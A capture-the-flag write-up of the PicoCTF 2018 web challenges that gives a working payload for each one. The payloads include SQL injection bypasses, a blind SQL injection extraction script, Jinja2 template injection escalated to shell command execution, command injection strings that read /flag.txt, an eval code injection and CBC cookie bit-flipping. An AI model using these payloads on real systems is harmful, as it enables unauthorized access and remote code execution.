Complete writeup of every web exploitation challenge from PicoCTF 2018. Our team placed 7th overall.

Challenges are ordered by point value. Each includes the vulnerability class, solution approach, and relevant payload.


Inspect Me - 125 pts

The flag is split across the HTML source, CSS file, and JavaScript file.

View Source → part 1 of flag in HTML comment
Link to style.css → part 2 in CSS comment
Link to script.js → part 3 in JS comment

Concatenate all three parts. Developer tools or curl + grep works.

Client Side is Still Bad - 150 pts

Login form with client-side credential validation in JavaScript.

// credentials hardcoded in verify.js
if (username === 'admin' && password === 'XXXXXXXX') {
    // grant access
}

Read the JavaScript source. Credentials are in plaintext.

Logon - 150 pts

Login form that sets a cookie after authentication. The cookie controls access.

After logging in with any credentials, inspect cookies. There’s an admin cookie set to False. Change it to True.

Cookie: admin=True

Refresh the page. Flag displayed.

Irish Name Repo - 200 pts

Login form vulnerable to SQL injection. The query checks the username field against a database.

Username: ' or 1=1 --
Password: anything

Classic authentication bypass via SQLi. The -- comments out the password check.

Mr. Robots - 200 pts

The challenge name hints at robots.txt.

GET /robots.txt

The disallowed path contains the flag or a path leading to it.

No Login - 200 pts

No login form visible. The application checks for an admin cookie that doesn’t exist by default.

Cookie: admin=True

Set the cookie manually and request the page. Flag returned.

Secret Agent - 200 pts

The page checks the User-Agent header and only serves the flag to a specific browser or agent.

curl -A "googlebot" https://challenge-url/flag

Test common User-Agent strings: googlebot, PicoBrowser, etc. The challenge accepts a specific agent string mentioned in the page source.

Buttons - 250 pts

Two buttons on a page. One uses a GET request, the other uses POST. The POST button leads to the flag.

curl -X POST https://challenge-url/button2

The page source shows one button wraps a form with method="POST". Submit that form.

The Vault - 250 pts

Similar to Irish Name Repo - SQL injection in the login form, but with a basic filter that blocks injection in the username field.

The password field is also injectable and unfiltered:

Username: admin
Password: ' or 1337=1337 --

Alternatively, use multiline SQL comments to bypass the filter on username:

Username: adm'/**/or/**/1=1/**/--
Password: anything

Artisanal Handcrafted HTTP 3 - 300 pts

The challenge requires manually crafting raw HTTP requests. Connect via netcat and send a properly formatted HTTP request.

echo -e "GET / HTTP/1.1\r\nHost: challenge-url\r\n\r\n" | nc challenge-host port

The response contains instructions for subsequent requests. Follow the chain - each response tells you what to send next (different methods, headers, body content). The final response contains the flag.

Flaskcards - 350 pts

A Flask application with a card creation feature. User input is rendered through Jinja2 templates without sanitization.

Server-Side Template Injection (SSTI):

Card content: {{ 7*7 }}

If the card displays 49, SSTI is confirmed. Extract the flag:

{{ config }}

Or read files via Python’s __import__:

{{ ''.__class__.__mro__[1].__subclasses__() }}

Navigate the class hierarchy to find subprocess.Popen or os.popen and read the flag file.

fancy-alive-monitoring - 400 pts

A web application that pings a user-supplied host to check if it’s alive. Classic command injection.

The input is passed to a shell command. Inject with command separators:

; cat /flag.txt

Or if semicolons are filtered:

$(cat /flag.txt)

Or newline injection:

127.0.0.1%0Acat%20/flag.txt

Secure Logon - 500 pts

Login form that sets an encrypted cookie after authentication. The encryption uses CBC mode with a predictable IV or no integrity check.

After logging in as a regular user, the cookie contains encrypted user data including an admin=0 field. Using a CBC bit-flipping attack, modify the ciphertext to change admin=0 to admin=1.

The bit-flip targets the IV or previous ciphertext block at the byte position corresponding to the 0 in admin=0. XOR the byte with ord('0') ^ ord('1') = 0x01.

cookie = bytearray(base64.b64decode(encrypted_cookie))
# Flip the byte at the offset of '0' in 'admin=0'
cookie[offset] ^= ord('0') ^ ord('1')
modified = base64.b64encode(bytes(cookie))

Send the modified cookie. Flag displayed.

Flaskcards Skeleton Key - 600 pts

Same Flask application as Flaskcards, but the flag is in the Flask secret key used for session signing.

SSTI to read the config:

{{ config['SECRET_KEY'] }}

The secret key is the flag. Alternatively:

{{ config.items() }}

Lists all configuration values including the secret key.

Help Me Reset 2 - 600 pts

Password reset flow that asks security questions. The answers can be found through other pages on the application.

Explore the application - profile pages, about pages, user listings. The security question answers (favorite color, pet name, etc.) are leaked elsewhere in the application. Use the answers to reset the target account password and log in.

A Simple Question - 800 pts

Login form with a SQL injection vulnerability, but this time it’s a blind SQLi - the application only tells you “correct” or “incorrect.”

Use boolean-based blind SQL injection to extract the password character by character:

Username: admin' AND SUBSTRING(password,1,1)='a' --

Automate with a script that iterates through positions and characters:

import requests

password = ""
for pos in range(1, 20):
    for c in "abcdefghijklmnopqrstuvwxyz0123456789":
        payload = f"admin' AND SUBSTRING(password,{pos},1)='{c}' -- "
        r = requests.post(url, data={"user": payload, "pass": "x"})
        if "correct" in r.text.lower():
            password += c
            break

The extracted password is the flag or grants access to it.

Flaskcards and Freedom - 870 pts

SSTI again, but this time the goal is Remote Code Execution to read a flag file on the server.

The SSTI from Flaskcards still works, but the flag isn’t in the config. It’s in a file on the filesystem.

Escalate SSTI to RCE through Python’s class hierarchy:

{{ ''.__class__.__mro__[1].__subclasses__()[X]('cat /flag.txt', shell=True, stdout=-1).communicate() }}

Where X is the index of subprocess.Popen in the subclasses list. Find it first:

{{ ''.__class__.__mro__[1].__subclasses__() }}

Search the output for Popen, note its index, and use it in the RCE payload.

LambDash 3 - 900 pts

A calculator application that evaluates expressions. The backend uses Python eval() or a similar mechanism.

Input: __import__('os').popen('cat /flag.txt').read()

If direct __import__ is blocked, use the same class hierarchy traversal as the SSTI challenges to reach os.popen.

Input: ().__class__.__bases__[0].__subclasses__()[X](['cat', '/flag.txt'], stdout=-1).communicate()[0]

Summary

Challenge Points Vulnerability
Inspect Me 125 Information disclosure (source code)
Client Side is Still Bad 150 Client-side authentication
Logon 150 Cookie manipulation
Irish Name Repo 200 SQL injection
Mr. Robots 200 robots.txt disclosure
No Login 200 Cookie manipulation
Secret Agent 200 User-Agent spoofing
Buttons 250 HTTP method tampering
The Vault 250 SQL injection (filter bypass)
Artisanal Handcrafted HTTP 3 300 HTTP protocol knowledge
Flaskcards 350 SSTI (Jinja2)
fancy-alive-monitoring 400 Command injection
Secure Logon 500 CBC bit-flipping
Flaskcards Skeleton Key 600 SSTI → config leak
Help Me Reset 2 600 Information leakage
A Simple Question 800 Blind SQL injection
Flaskcards and Freedom 870 SSTI → RCE
LambDash 3 900 Code injection (eval)

Vulnerability classes covered: source inspection, cookie manipulation, SQL injection (classic, blind, filter bypass), command injection, SSTI (read → RCE escalation), CBC bit-flipping, HTTP protocol manipulation, code injection.